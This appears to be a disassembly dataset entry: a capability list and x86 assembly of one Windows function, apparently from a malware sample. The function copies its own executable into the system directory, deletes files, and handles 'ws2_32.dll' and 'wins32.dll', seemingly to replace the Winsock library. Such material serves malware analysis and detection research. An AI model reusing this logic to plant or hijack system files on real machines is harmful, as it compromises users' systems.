Function at 0x401aa0
Capabilities:
Copy file
Delete file
Get common file path

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4061db
push eax
mov dword fs:[0], esp
sub esp, 0x244
lea eax, [esp + 4]
push ebx
push ebp
push esi
push edi
push 0x104
mov ebp, ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0x14c]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edi, [esp + 0x14c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
js 0x401b0b
mov al, 0x5c
cmp byte [esp + ecx + 0x14c], al
je 0x401c06
dec ecx
jns 0x401afb
mov ebx, dword [esp + 0x10]
xor eax, eax
mov cl, byte [ebx + eax]
cmp cl, 0x2e
je 0x401b23
mov byte [eax + ebp + 4], cl
inc eax
cmp eax, 0xa
jl 0x401b11
mov byte [eax + ebp + 4], 0x2e
mov cl, 0x6c
mov byte [eax + ebp + 5], 0x64
lea edx, [esp + 0x14]
mov byte [eax + ebp + 6], cl
push 0x104
mov byte [eax + ebp + 7], cl
push edx
mov byte [eax + ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x4080f4
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x18]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x150]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x14]
push ecx
mov ecx, ebp
call fcn.00401890
lea edx, [esp + 0x14c]
mov ecx, ebp
push edx
call fcn.00401890
lea esi, [esp + 0x14c]
lea eax, [esp + 0x14]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x401c12
test cl, cl
je 0x401c02
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x401c12
add eax, 2
add esi, 2
test cl, cl
jne 0x401bde
xor eax, eax
jmp 0x401c17
lea ebx, [esp + ecx + 0x14d]
jmp 0x401b0f
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x401de9
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [esp + 0x14]
push 0
lea edx, [esp + 0x150]
push ecx
push edx
call ebx
test eax, eax
je 0x401f02
mov ecx, ebp
call fcn.004015b0
push eax
lea eax, [esp + 0x18]
push eax
mov ecx, ebp
call fcn.004017e0
test eax, eax
je 0x401f02
lea ecx, [esp + 0x14]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
or ecx, 0xffffffff
lea edi, [esp + 0x14]
xor eax, eax
lea edx, [esp + 0x14c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, edx
lea edx, [esp + 0x14c]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, str.wins32.dll
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x18]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.ws2_32.dll
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x150]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
push ecx
call ebx
push ebp
call fcn.00401a70
test eax, eax
je 0x401de2
lea ebx, [ebp + 4]
or ecx, 0xffffffff
mov edi, ebx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x14]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x14]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + ecx + 0x14]
mov cl, 0x65
mov byte [eax - 1], cl
mov byte [eax - 2], 0x78
mov byte [eax - 3], cl
lea ecx, [esp + 0x14]
push ecx
mov ecx, ebp
call fcn.00401a00
lea edx, [esp + 0x14]
push 0x104
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, 0x4080f4
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x14]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov ecx, ebp
call fcn.00401690
xor eax, eax
jmp 0x401f02
mov ecx, ebp
call fcn.004018d0
push ebp
call fcn.00401a70
test eax, eax
je 0x401e8e
mov edi, str.internat.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
push ecx
mov ecx, ebp
call fcn.00401a00
lea ecx, [esp + 0x11c]
call fcn.00401000
lea edi, [ebp + 4]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x134]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x25c], 0
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x11c]
call fcn.004014c0
lea ecx, [esp + 0x11c]
mov dword [esp + 0x25c], 0xffffffff
call fcn.00401040
xor eax, eax
jmp 0x401f02
lea ecx, [esp + 0x14]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, 0x4080f4
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x14]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp + 4]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov ecx, ebp
call fcn.00401690
mov ecx, dword [esp + 0x254]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x250
ret